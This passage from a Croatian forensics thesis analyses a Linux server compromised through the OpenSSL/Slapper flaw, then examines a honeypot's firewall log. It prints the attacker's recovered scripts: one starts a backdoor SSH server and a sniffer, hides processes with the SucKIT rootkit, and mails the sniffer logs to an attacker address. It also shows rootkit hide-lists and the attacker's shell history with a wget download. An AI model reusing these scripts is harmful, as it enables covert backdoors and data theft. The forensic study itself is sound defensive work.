Unutar kazala /lib/.x pronađeni su tragovi rootkit alata i kompromitiranog ssh poslužitelja. Kazalo sadrži dvije bash skripte pod nazivom boot i hide. Skripta boot služi za pokretanje kompromitiranog ssh poslužitelja pod nazivom xopen. Dodatno skripta pokreće lsn proces koji najvjerojatnije predstavlja sniffer na sustavu, na što i upućuje riječ promiscou koja je pronađena prilikom analize lsn datoteke. Nakon uspješnog pokretanja navedenih procesa, skripta koristi programe sk i cl, koji su dio Suckit rootkit alata, a služe redom za prikrivanje aktivnih procesa, te za uklanjanje dokaza iz zadanih dnevnika. Prilikom pokretanja ssh poslužitelja, svi relevantni podaci, kao što su pristupna točka i IP adresa, bilježe se u poseban dnevnik unutar /tmp kazala. Sadržaj tog dnevnika šalje se kao obavijest o uspješno pokrenutom ssh poslužitelju na adresu skiZophrenia_sick@yahoo.com. Slika 5.12 prikazuje sadržaj datoteke boot.

#!/bin/sh
SSHPORT=`cat /lib/.x/s/port`
IP=`cat /lib/.x/ip`
TIME=`date`
/lib/.x/s/xopen -q -p ${SSHPORT} >> /lib/.x/reboot.log
/lib/.x/s/lsn &
/lib/.x/sk p 1 >> /lib/.x/reboot.log
/lib/.x/sk f 1 >> /lib/.x/reboot.log
echo "###Host ${IP} went online on ${TIME}" >> /tmp/13996log
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo "###SSHD backdoor port: ${SSHPORT}" >> /tmp/13996log
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo "###Sniffer log:" >> /tmp/13996log
echo "      - TTY Sniffer:" >> /tmp/13996log
cat /lib/.x/.lurker >> /tmp/13996log
echo >> /tmp/13996maillog
echo "      - Network Sniffer:" >> /tmp/13996log
cat /lib/.x/s/mfs >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo "###Reboot log:" >> /tmp/13996log
cat /lib/.x/reboot.log >> /tmp/13996log
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog

cat /tmp/13996log | mail -s "Host ${IP} is up!" skiZophrenia_sick@yahoo.com
rm -rf /tmp/13996*
rm -rf /lib/.x/reboot.log

Contents Of File: /root/lib/.x/hide

#!/bin/sh
for i in $(ps aux|grep "/lib/.x"|awk -F " " '{print $2}')
do
/lib/.x/sk i $i >>/lib/.x/hide.log
done
for z in $(ps aux|grep xopen|awk -F " " '{print $2}')
do
/lib/.x/sk i $z >>/lib/.x/hide.log
done
for x in $(ps aux|grep lsn|awk -F " " '{print $2}')
do
/lib/.x/sk i $z >>/lib/.x/hide.log
done

Slika 5.12. Prikaz sadržaja datoteke boot

Pregledavanjem sadržaja više datoteka kazala pronađeni su tragovi rootkit alata pod nazivom Suckit.

Slika 5.13  prikazuje sadržaj datoteke sk.

...
#####################################################
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####################################################
...
u       - uninstall
i       - make pid invisible
v       - make pid visible
f [0/1] - toggle file hiding
p [0/1] - toggle pid hiding
...

ASCII String Contents Of File: /root/lib/.x/cl

...
-s  <string>            - removes string from logfiles.
-f  <file> <string>     - removes string from file.
...
Report bugs to <genius@h07.org>.
Die Putze %s - The ultimate unix logfile cleaner...
...

Slika 5.13. Prikaz sadržaja datoteke sk

Kazalo /var/log je standardno kazalo na GNU/Linux operacijskim sustavima koje sadrži različite dnevnike sustava. Analizom sadržaja datoteka tog kazala ustanovljeno je da većina njih odgovara datotekama kazala /lib/.x i /etc/opt/psybnc, samo s drugim imenom. Usporedbom sažetaka datoteka kazala /var/log i /lib/.x potvrđena je navedena sumnja. Navedeni sažeci prikazani su na slici 5.14.

/root/var/log/maillog.1
MD5 of recovered file: cf1d1e50ed26092f8e45f567a8c1d0b8

/root/lib/.x/inst
MD5 of file: cf1d1e50ed26092f8e45f567a8c1d0b8

/root/lib/.x/cl
MD5 of file: 3ae85818c23ade056241888a65dc2d20

/root/var/log/boot.log.1
MD5 of recovered file: 3ae85818c23ade056241888a65dc2d20

Slika 5.14. Prikaz sažetaka datoteka kazala /root/lib/.x i /var/log

Ovaj dokaz upućuje na to da je napadač pokrenuo nekakvu skriptu koja nasumice razbacuje datoteke po cijelom sustavu i mijenja njihova originalna imena. Većina dnevnika je obrisana, što upućuje na pokušaj prikrivanja dokaza.

Analizom dnevnika var/log/ksyms.0 otkriveno je da oko 13:33:33 sati proces 3137/smbd -D postaje aktivan i otvara pristupnu točku 2003. Prema zapisima u dnevniku, proces 3137/smbd -D predstavlja  kompromitirani ssh poslužitelj. Nakon pokretanja procesa 3137/smbd -D, napadač pokušava pokrenuti još dva dodatna procesa 3150, 3225/smbd -D, ali bezuspješno jer procesi pokušavaju otvoriti istu pristupnu točku kao proces 3137/smbd -D. U vremenu od 14:14:41 do 14:18:00 sati uslijedila su tri pokušaja povezivanja na kompromitirano računalo s adrese 213.154.118.218 (extreme-services-10.is.pcnet.ro). Prilikom svakog pokušaja autentifikacija napadača, kao root korisnik, ne uspijeva. Mreža s koje se napadač pokušao povezati odgovara mreži IP adrese koja je pronađena prilikom live analize, odnosno adresi 213.154.118.200 (potvrda da je sustav kompromitiran). Oko 15:30:30  sati mrežno sučelje eth0 postavljeno je u PROMISC način rada, što najvjerojatnije označava početak rada sniffera na sustavu. U 15:56:11 do 16:03:01 sati zabilježeno je trajanje sjednice napadača koji se uspješno prijavio na sustav kao root korisnik.

Slika 5.15 prikazuje sadržaj datoteke /root/var/log/ksyms.0.

...
Aug 10 13:33:33 localhost smbd -D[3137]: log: Server listening on port 2003.
Aug 10 13:33:33 localhost smbd -D[3137]: log: Generating 768 bit RSA key. Aug 10 13:33:34 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 13:33:35 localhost smbd -D[3150]: error: bind: Address already in use
Aug 10 13:33:35 localhost smbd -D[3150]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 13:33:56 localhost smbd -D[3225]: error: bind: Address already in use
Aug 10 13:33:56 localhost smbd -D[3225]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 14:14:42 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:14:44 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:23:20 localhost smbd -D[8935]: log: Password authentication for root failed.
Aug 10 14:23:24 localhost smbd -D[8935]: fatal: Connection closed by remote host.
Aug 10 15:30:30 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 15:30:30 localhost modprobe: modprobe: Can't locate module ppp0
Aug 10 15:32:16 localhost kernel: eth0: Promiscuous mode enabled.
Aug 10 15:52:09 localhost smbd -D[14568]: error: bind: Address already in use
Aug 10 15:52:11 localhost smbd -D[14629]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:52:12 localhost httpd: fopen: No such file or directory
Aug 10 15:52:12 localhost httpd: httpd: could not open error log file /etc/httpd/logs/error_log.
Aug 10 15:52:12 localhost httpd: httpd startup failed
Aug 10 15:54:18 localhost smbd -D[14663]: error: bind: Address already in use
Aug 10 15:54:18 localhost smbd -D[14663]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 15:54:18 localhost httpd: httpd shutdown failed
Aug 10 15:56:11 localhost su(pam_unix)[14689]: session opened for user root by (uid=0)
Aug 10 16:03:01 localhost su(pam_unix)[14689]: session closed for user root
...

Slika 5.15. Prikaz sadržaja datoteke ksyms.0

Analizom sadržaja dnevnika /var/log/maillog, pronađeni su dokazi koji upućuju na korištenje elektronske pošte i sendmail alata. S kompromitiranog sustava poslane su elektronske pošte na adrese:

l        jijeljijel@yahoo.com

l        newptraceuser@yahoo.com

l        skiZophrenia_siCk@yahoo.com

Sva pošta poslana je u razdoblju od 14:14:01 do 16:34:50 sati. Na slici 5.16 prikazan je sadržaj datoteke maillog.

...
Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel)

Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel)
Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection timed out with mx4.mail.yahoo.com.
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: to=skiZophrenia_siCk@yahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pri=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, stat=Service unavailable
Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri=120043, relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dirdel)
...

Slika 5.16. Prikaz sadržaja datoteke maillog

Pregledom datoteka access.log i error.log kazala /var/log/httpd pronađeni su dokazi koji upućuju na početak napada na sustav. U napadu je iskorištena ranjivost sustava koja se odnosi na sigurnosni propust unutar openSSL biblioteke. OpenSSL koristi se s Apache web poslužiteljem u obliku modula mod_ssl. Izdvajanjem pojedinih detalja zapisa prikazanih na slikama 5.17 i 5.18, ustanovljeno je da se radi o ranjivosti koju iskorištava crv pod nazivom Linux/Slapper [37].

213.154.118.219 - - [10/Aug/2003:13:16:27 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:16:37 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:23:17 -0700] "GET /sumthin HTTP/1.0" 404 279 "-" "-"
...

Slika 5.17. Prikaz sadržaja datoteke access_log

...
[Sun Aug 10 13:16:27 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:16:37 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:23:17 2003] [error] [client 213.154.118.219] File does not exist: /var/www/html/sumthin
[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:32:38 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:32:38 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
...

Slika 5.18. Prikaz sadržaja datoteke error_log

Napadač prije iniciranje samog napada, upućuje tri nepravilno oblikovana HTTP zahtijeva. Prva dva zahtjeva upućena su jedan za drugim u vremenu 13:16:27 i 13:16:37 sati (vrijeme početka napada). Posljednji zahtjev upućen je nekoliko minuta kasnije. Slanjem navedenih zahtijeva napadač dobiva informaciju, odgovor HTTP poslužitelja, iz kojeg saznaje verziju poslužitelja što je dovoljno za iniciranje napada. Nakon identifikacije poslužitelja napadač otvara vezu s pristupnom točkom 443 i inicira napad na sustav [38].

Kazalo /root otkriva nove dokaze o uspostavljenoj vezi s IRC poslužiteljima mesa.az.us.undernet.org i fairfax.va.us.undernet.org (datoteke user1.motd i user2.motd u kazalu links/socket). Prema vremenu zadnje promijene tih datoteka vidljivo je da je komunikacija uspostavljena oko 16:08:12 i 17:52:14 sati. Ta vremena podudaraju se s onima pronađenim unutar dnevnika /etc/opt/psybnc/psybnc.log. Slijedeće važno otkriće je kazalo /root/sslstop koje sadrži dva programa, sslstop i sslport. Programi redom služe za zaustavljanje ssl usluge poslužitelja i za promjenu pristupne točke na kojoj se usluga ostvaruje. Vremena pristupa otkrivaju da su programi pokrenuti negdje oko 15:54:18, odnosno 15:52:23 sati. Sadržaji datoteka user1.motd, user2.motd,  sslstop.c, te sslport.c prikazani su redom na slikama 5.19 i 5.20.

...
:fairfax.va.us.undernet.org 001 [[[mac]]] :Welcome to the Internet Relay Network, [[[mac]]]
:fairfax.va.us.undernet.org 002 [[[mac]]] :Your host is fairfax.va.us.undernet.org, running version u2.10.11.04
:fairfax.va.us.undernet.org 003 [[[mac]]] :This server was created Thu Jan 16 2003 at 12:09:40 EST
...

:mesa.az.us.undernet.org 001 killme :Welcome to the Undernet IRC via EasyNews killme
:mesa.az.us.undernet.org 002 killme :Your host is mesa.az.us.undernet.org, running version u2.10.11.04
:mesa.az.us.undernet.org 003 killme :This server was created Sun Feb 2 2003 at 22:09:41 MST
...

Slika 5.19. Prikaz sadržaja datoteka user1.motd i user2.motd

/*

  This program modifies the httpd.conf to disable the SSL support
  (ie: to close the port 443). Then it reloads the apache server.
  USAGE: ./sslstop [conffile={/etc/httpd/conf/httpd.conf}]
*/
...

/*
  This program modifies the httpd.conf to change the defalul SSL port (443)
  to something else (114). Then it restarts the apache server.
  USAGE: ./sslport [old-port={443}] [new-port="114"]
*/
...

Slika 5.20. Prikaz sadržaja datoteka sslstop.c i sslport.c

Analizom kazala /tmp pronađeni su tragovi konfiguracijske datoteke koja pripada HTTP poslužitelju. Datoteka pod nazivom .httpd.tmp predstavlja konfiguracijsku datoteku koju koriste programi sslstop i sslstart. Vrijeme stvaranja datoteke je 15:54:18 sati što se podudara s vremenima zadnjeg pristupa tim programima.

Unutar kazala /dev pronađene su tri tekstualne datoteke što je vrlo neobično za to kazalo. Datoteke su redom ttyoa, ttyof, ttyop. Pregledom datoteka ustanovljeno je da su one dio nekog rootkit alata, a sadrže informacije o nazivima procesa koje je potrebno sakriti. Slika 5.21 prikazuje sadržaje datoteka ttyoa, ttyof i ttyop.

datoteka ttyoa

datoteka ttyof

datoteka ttyop

1 213.233
1 24.104
1 217.10
1 216
1 193
1 209.118
3 10001
3 10002
4 10001
4 6667
4 10002
4 19
4 69
4 13064

psbnc
smbd
iceconf.h
icekey.h
icepid.h
uptime
startwu
r00t

3 swapd
3 psybnc
3 sl2
3 sl3
3 smbd
3 uptime
3 x2
3 startwu
3 scan
3 r00t

Slika 5.21. Prikaz sadržaja datoteke ttyoa

Kazalo /usr/lib otkriva prisutnost adore.o i cleaner.o datoteke, koje su sastavni dio adore rootkit alata. Nisu pronađeni dokazi koji upućuju da je navedeni rootkit pokrenut. Datoteka cleaner.o predstavlja modul koji ako pokrenut prije modula adore.o prikriva njegovu pristutnost. Nadalje, datoteka sp0 predstavlja najvjerojatnije kompromitirani ssh poslužitelj. Još jedna neobična činjenica je postojanje kazala /usr/lib/libshift koje sadrži standardne GNU/Linux alate top, netstat, ls, ifconfig, ps. Provjerom MD5 sažetaka datoteka kazala libshift, s bazom sažetaka koja je napravljena prije napada na sustav, ustanovljeno je da navedeni alati nisu kompromitirani već predstavljaju originale. Ova činjenica navodi na zaključak da je napadač zamijenio standardne alate s kompromitiranim, s ciljem prikrivanja dokaza na sustavu. Na slici 5.22 koja prikazuje sadržaj datoteke adore.o, vidljiva je funkcija rootkita koja se odnosi na prikrivanje procesa na sustavu.

...
hide_process
remove_process
unhide_process
strip_invisible
unstrip_invisible
...

Slika 5.22. Prikaz sadržaja datoteke adore.o

U kazalu /usr/sbin otkrivene su dvije zanimljive datoteke, logclear i sense. Obje datoteke su bash skripte. Skripta logclear služi za pokretanje procesa (swapd), dok skripta sense ima funkciju sortiranja izlaza linsniffer programa. Tragovi linsniffer programa nisu pronađeni. Osim navedenoga, kazalo sadrži kompromitirani program top, te sl2, (swapd) i smbd -D. Slike 5.23 i 5.24 redom prikazuju sadržaje datoteka logclear i sense.

killall -9 /usr/bin/"(swapd)"
rm -rf /usr/bin/tcp.log
touch /usr/bin/tcp.log
"(swapd)" >tcp.log &
...

Slika 5.23. Prikaz sadržaja datoteke logclear

#!/usr/bin/perl
# Sorts the output from LinSniffer 0.03 [BETA] by Mike Edulla
<medulla@infosoc.com>
...

Slika 5.24. Prikaz sadržaja datoteke sens

Kazala /bin i /sbin sadrže kompromitirane alate netstat, ifconfig, ls, ps, čije su ispravne verzije pronađene unutar kazala /usr/lib/libshift. Da se radi o kompromitiranim alatima provjereno je pomoću MD5 sažetaka originalnih verzija programa. Statičkom analizom navedenih programa ustanovljeno je da isti koriste konfiguracijske datoteke ttyop, ttyoa i ttyof koje se nalaze u /dev kazalu. S ovim saznanjem može se reći da program ls koristi datoteku ttyof koja sadrži popis programa koje treba sakriti. Datoteka ttyoa i ttyop sadrže popis pristupnih točaka i procesa koje je potrebno sakriti, a koriste ih redom programi netstat i ps.

Na slici 5.25 prikazani su sadržaji datoteka ls, netstat, te ps.

/root/bin/ls

...
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
/dev/ttyof
//DIRED//
...

/root/bin/netstat

...
netstat 1.39 (2000-05-21)
Fred Baumgarten, Alan Cox, Bernd Eckenfels, Phil Blundell, Tuan Hoang and others
/dev/ttyoa
/proc/net/tcp
AF INET (tcp)
...

/root/bin/ps

...
PRQShB
90tS
/dev/ttyop
NR   PID    STACK      ESP      EIP TMOUT ALARM STAT TTY   TIME COMMAND
...

Slika 5.25. Prikaz sadržaja datotekea ls, netstat i ps

Datoteka bash_history, unutar kazala /, otkriva dio naredbi koje napadač izvodi na kompromitiranom sustavu. Nakon provjere identiteta korisnika i vremena koje je proteklo od pokretanja sustava (naredbe id i uptime), napadač pokreće instalacijsku skriptu inst koja je pronađena u kazalu /lib/.x. Naredbom hostname postavlja naziv sustava na sbm79.dtc.apu.edu. Ovdje se može primijetiti i pokretanje instalacije iz kazala /dev/shm/sc koje nije pronađeno na sustavu, dok je ostali sadržaj kazala /dev/shm uništen. Nakon uspješne instalacije programa, napadač preuzima sslstop.tar.gz paket s adrese izolam.net. Kao zadnji korak izvodi pretraživanje procesa prema ključnoj riječi apache i zaustavlja sve pronađene procese. Slika 5.26 prikazuje sadržaj datoteke bash_history.

id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root

ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9  21510  21511 23289  23292 23302

Slika 5.26. Prikaz sadržaja datoteke bash_history

 5.1.3.                   Zaključak analize slučaja

Izbor forenzičkog alata TSK za analizu kompromitiranog GNU/Linux operacijskog sustava bio je logičan, zbog razloga što analizirani datotečni sustav predstavlja njegovo prirodno okruženje za rad. Nadalje, Autopsy grafičko sučelje ne zahtijeva dodatna iskustva u području računalne forenzike  koja bi bila potrebna za korištenje alata, te je glavni naglasak stavljen na interpretaciju dobivenih rezultata. Ova činjenica nikako ne znači da osoba koja provodi računalnu forenziku (forenzičar) ne mora imati iskustva, te da poznavanje rada alata nije potrebno. I ako bogat alatima, uvodni dio analize nije se mogao ostvariti bez korištenja standardnih GNU/Linux alata koji su korišteni za  analizu kompromitiranog sustava u radnom stanju. Ta činjenica samo potvrđuje da je vrlo teško pronaći jedan alat koji bi predstavljao cjelokupno rješenje za dani problem. S druge strane, GNU/Linux operacijski sustav predstavlja dobar odabir kod izgradnje forenzičkog sustava, pa i više od toga. Za to postoji više razloga, a kao jedan je sigurno podrška za veliki broj različitih tipova datotečnog sustava, te veliki broj standardnih alata pomoću kojih je moguće ostvariti funkcije pretraživanja i izdvajanja računalnih dokaza. Jednom riječju može se reći da GNU/Linux operacijski sustavi predstavljaju out of the box rješenje.

 5.2.                        Analiza dnevnika sigurnosne stijene

U mnogim slučajevima forenzička analiza započinje analizom dnevnika sigurnosnih stijena. Cilj ovog slučaja je analizirati dnevnik sigurnosne stijene honeypot sustava, odnosno promet prema i od honeypot sustavu. Ukratko, honeypot sustav je namjerno oslabljeno računalo koje je priključeno na mrežu, a služi u svrhu prikupljanja podataka koji se mogu kasnije analizirati. U samom dnevniku, IP adrese honeypot sustava i DNS poslužitelja postavljene su redom na:

l        Honeypot: 11.11.11.0/24

l        DNS: 22.22.22.0/24, 23.23.23.0/24

Analiza dnevnika ostvarena je korištenjem forenzičkog alata PyFlag, te korištenjem izrađene skripte i MySql baze podataka. Dnevnik sigurnosne stijene nalazi se u netfilter/iptables formatu.

 5.2.1.                   Analiza korištenjem forenzičkog alata PyFlag

Sumiranjem prometa prema dolaznim IP adresama, mrežne maske 11.11.11.0/24 dobiveni su podaci prikazani u tablici 5.5. Dobiveni podaci ukazuju da je većina prometa usmjerena prema honeypot sustavu (od ukupno 307504 paketa, 287260 je ulaznih). Dodatno ulazni promet je grupiran prema protokolima koji su korišteni u komunikaciji. Tablica 5.4 prikazuje korištene protokole, te broj paketa u kojima se pojavljuju. Iz dobivenih podataka je vidljivo da većina paketa koristi TCP protokol.

Tablica 5.4.Korišteni protokoli u komunikaciji

Protokol

Broj paketa

TCP

244546

UDP

23110

ICMP

19604

Tablica 5.5.Dolazni promet prema 11.11.11.0/24 mreži

IP adresa

Broj paketa

IP adresa

Broj paketa

11.11.11.100

13304

11.11.11.71

11653

11.11.11.105

13266

11.11.11.72

10772

11.11.11.110

12909

11.11.11.73

10915

11.11.11.115

11088

11.11.11.75

30730

11.11.11.120

8364

11.11.11.81

14445

11.11.11.125

10270

11.11.11.82

10398

11.11.11.255

3848

11.11.11.83

10011

11.11.11.64

5759

11.11.11.84

9157

11.11.11.65

268

11.11.11.85

9896

11.11.11.67

12981

11.11.11.87

11579

11.11.11.69

11107

11.11.11.95

10169

11.11.11.70

11286

11.11.11.90

12523

Izdvajanjem svih paketa koji se odnose na ICMP promet (paketi koji koriste ICMP protokol) nagovještava da se radi o pokušaju ICMP sweep skeniranja sustava. ICMP sweep (ping sweep) metoda se temelji na uzastopnom slanju više ICMP paketa prema različitim čvorovima (sustavima) u mreži. ICMP paketi su tipa Echo Request (tip 8). Kao ispravan odgovor, napadač očekuje ICMP paket tipa Echo reply (tip 0) s kojim se potvrđuje da je dotični čvor prisutan na mreži [39].

Slika 5.27 prikazuje ICMP pakete usmjerene prema mreži 11.11.11.0/24.

Text Box: Slika  SEQ "Slika" \*Arabic 5.27.ICMP promet prema mreži 11.11.11.0/24
Izdvajanjem ICMP prometa s mreže 11.11.11.0/24 prema drugim mrežama nije pronađen niti jedan ICMP Echo reply odgovor koji bi upućivao na uspješnost ICMP sweep skeniranja. Sav promet grupiran je prema pristupnim točkama kako bi se moglo utvrditi koji servisi sustava su izloženi napadu.

U tablici 5.6 prikazani su podaci koji predstavljaju sav dolazni promet prema mreži 11.11.11.0/24, koji je dodatno grupiran prema dolaznim pristupnim točkama. Servisi koje određena pristupna točka pruža, preuzeti su s adrese http://www.iana.org/assignments/port-numbers. Radi jednostavnosti prikaza, prikazane su samo pristupne točke s više od 100 paketa.

Tablica 5.6.Dolazni promet prema pristupnim točkama

Pristupna točka

Broj Paketa

Servis

21

1101

ftp

23

413

telnet

25

292

smtp

57

173

mtp

80

13276

www

111

381

sunrpc

135

88157

loc-srv

137

8721

netbios-ns

138

3819

netbios-dgm

139

15000

netbios-ssn

389

282

ldap

443

26444

https

445

46439

microsoft-ds

514

268

shell/syslog – specifično za Unix sustave

901

3097

swat

 5.2.2.                   Analiza korištenjem baze podataka MySql

Sav promet grupiran je prema protokolu kojem pripada, odnosno ICMP, UDP i TCP protokolu. Za svaki od protokola stvorena je zasebna tablica u bazi podataka, te je za svaku od njih napravljena analiza.

Analizom prometa prema ICMP protokolu napravljen je graf na slici 5.28 koji predstavlja raspodjelu prometa kroz prvih 27 dana u mjesecu.

Text Box: Slika 5.28. Dolazni ICMP paketi prema mreži 11.11.11.0/24 
 
Detaljnijom analizom paketa ICMP protokola otkriveno je da je cijeli promet usmjeren prema mreži 11.11.11.0/24. Svi ICMP paketi identificirani su kao tip 8, odnosno Echo Request. Ova činjenica ukazuje da se radi o pokušaju skeniranja navedene mreže s ciljem da se ustanove aktivni čvorovi na mreži. Dodatno, ova činjenica predstavlja klasičan primjer ICMP Sweep (Ping Sweep) napada u kojem se na veći broj sustava naizmjence šalju ICMP Echo Request paketi [39]. Sustavi koji odgovore s ICMP Echo Reply paketom smatraju se aktivnima. Kako nije pronađen niti jedan odgovor upućen s mreže 11.11.11.0/24, očito da pokušaj ICMP Sweep napada nije uspio. Na slici 5.29 prikazane su IP adrese s kojih je poslano više od 100 ICMP paketa.

Text Box: Slika 5.29. ICMP promet prema mreži 11.11.11.0/24 
 
Analizom prometa UDP protokola, izdvojeni su svi paketa prema i od mreže 11.11.11.0/24, kao što je prikazano na slici 5.30. Na slici se može uočiti razdoblje u kojem nema odlaznog prometa, te razdoblje u kojem je generirano najviše dolaznih i odlaznih paketa.

Text Box: Slika 5.30. Dolazni/Odlazni UDP promet 
 
Analizom UDP paketa izdvojene su pristupne točke prema kojima je upućeno više od 100 paketa. Slika 5.31 prikazuje pristupne točke i broj paketa prema istim.

Text Box: Slika 5.31. UDP pristupne točke 
 
Pristupna točka 53 koristi se u komunikaciji DNS poslužitelja prilikom zaprimanja upita za dohvaćanje odgovarajuće IP adrese. Cijeli promet prema pristupnoj točki 53 usmjeren je prema računalima iz mreže 22.22.22.0/24, 23.23.23.0/24 (DNS poslužitelji), te 11.11.11.0/24. Promet prema DNS poslužiteljima generiran je od računala s adresom 11.11.11.67/24. Ovaj promet je dosta neobičan jer računalo generira velike količine paketa koji se šalju u kratkim vremenskim razmacima prema DNS poslužitelju. Ova činjenica označava da je računalo 11.11.11.67/24 najvjerojatnije kompromitirano [40].

Slika 5.32 prikazuje promet generiran prema DNS poslužitelju od računala 11.11.11.67/24.

Text Box: Slika 5.32. Dolazni UDP paketi prema DNS poslužitelju 
 
Paketi prema mreži 11.11.11.0/24:53 dolaze s adrese 203.251.67.107, što je najvjerojatnije pokušaj pronalaženja aktivnih DNS poslužitelja i eventualnog sigurnosnog propusta. Paketi usmjereni prema pristupnoj točki 1434 odnose se na pokušaj infekcije sustava SQL Slammer/Saphire crvom. Pristupna točka 1434 predstavlja MS SQL servis prema kojem se šalje paket veličine 376 bajta koji predstavljaju izvorni kod crva SQL Slammer/Saphire [41]. Slika 5.33 prikazuje pakete usmjerene prema pristupnoj točki 1434.

...
Feb  1 00:12:25 bridge kernel: INBOUND UDP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=213.112.56.195 DST=11.11.11.89 LEN=404 TOS=0x00 PREC=0x00 TTL=109 ID=62901 PROTO=UDP SPT=3301 DPT=1434 LEN=384 
Feb  1 00:22:34 bridge kernel: INBOUND UDP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=203.192.11.247 DST=11.11.11.69 LEN=404 TOS=0x00 PREC=0x00 TTL=112 ID=12274 PROTO=UDP SPT=2317 DPT=1434 LEN=384 
Feb  1 00:39:46 bridge kernel: INBOUND UDP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=202.108.249.51 DST=11.11.11.115 LEN=404 TOS=0x00 PREC=0x00 TTL=114 ID=29149 PROTO=UDP SPT=1282 DPT=1434 LEN=384 
...

Slika 5.33. UDP paketi prema pristupnoj točki 1434

Paketi TCP protokola predstavljaju gotov cijeli promet koji je usmjeren prema i od mreže 11.11.11.0/24. Ova činjenica je logična jer TCP protokol može otkriti dosta informacija o sustavu koji se napada. Također, alati koji se koriste za skeniranje, implementiraju veliki broj metoda koje se temelje na TCP protokolu [42]. Kao što je vidljivo iz slike 5.34 , TCP paketi predstavljaju oko većinu ukupnog prometa. Također može se uočiti da broj paketa po danu ne opada ispod broja 4000. Pregledom prometa prema dolaznim pristupnim točkama ustanovljeno je da oko 1400 različitih dolaznih pristupnih točaka sudjeluje u komunikaciji. Od tog broja, oko 1000 pristupnih točaka se nalazi na računalima u mreži 11.11.11.0/24

Text Box: Slika 5.34. Dolazni/Odlazni TCP paketi 
 
Pregledom paketa prema dolaznim pristupnim točkama u mreži 11.11.11.0/24 izdvojene su sve pristupne točke s više od 500 dolaznih paketa. Slika 5.35 prikazuje dolazne pristupne točke TCP protokola.

Text Box: Slika 5.35. Dolazne pristupne točke TCP protokola 
 
Pregledom dolaznih TCP paketa identificirane su različite kombinacije zastavica koje se koriste za formiranje određenog tipa skeniranja sustava [42].

Slika 5.36 prikazuje korištene zastavice i broj paketa.

                   Text Box: Slika 12345.36. Korištene zastavice TCP protokola 
 
5.2.3                  Zaključak analize slučaja

Forenzički alat PyFlag trebao je poslužiti za analizu dnevnika sigurnosne stijene. U ovom slučaju ne može se kazati da je alat ispunio sva očekivanja, te da je analiza provedena u potpunosti. Razlog tome je nemogućnost parsiranja dnevnika na način da se obuhvate svi relevantni podaci koji su potrebni u analizi (vrijeme, datum i zastavice TCP paketa). Također je primječen veliki broj pogrešaka koje se javljaju prilikom procesiranja dnevnika sigurnosne stijene. Zbog toga razloga, drugi dio analize ostvaren je korištenjem vlastite aplikacije, napisane u Python programskom jeziku. Izdvojeni podaci su učitani u MySQL bazu podataka, a pregledavanje podataka ostvareno je SQL upitima na bazu. Korištenje baze podataka pokazalo se vrlo učinkovito kod analize velikih količina podataka. Formiranjem SQL upita moguće je dohvatiti i grupirati podatke, te na taj način izdvojiti relevantne informacije.

Dobivene informacije mogu se upotrijebiti za prijavu incidenta za Internet stranicama CERT organizacije [43].

 6.        Zaključak

